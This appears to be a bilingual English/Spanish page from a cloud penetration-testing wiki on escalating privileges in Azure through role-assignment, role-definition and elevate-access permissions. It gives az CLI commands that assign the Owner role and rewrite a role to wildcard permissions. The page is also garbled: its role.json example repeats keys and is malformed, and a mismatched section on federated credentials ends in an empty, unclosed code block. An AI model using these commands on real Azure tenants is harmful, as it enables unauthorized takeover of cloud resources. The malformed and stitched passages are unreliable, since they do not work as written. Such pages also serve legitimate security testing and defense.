### Microsoft.Authorization/roleAssignments/write
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
Este permiso permite asignar roles a principales sobre un alcance específico, lo que permite a un atacante escalar privilegios al asignarse un rol más privilegiado:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que ha asignado.
Crea el archivo `role.json` con el siguiente **contenido**:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]

"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Then update the role permissions with the previous definition calling:
Luego actualiza los permisos del rol con la definición anterior llamando:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure.
> [!TIP]
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
> Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione.

Example command to give access to a repo in Github to the a managed identity:
Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, otorgar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite **acceder a cualquier identidad administrada definida por el usuario**.

```bash
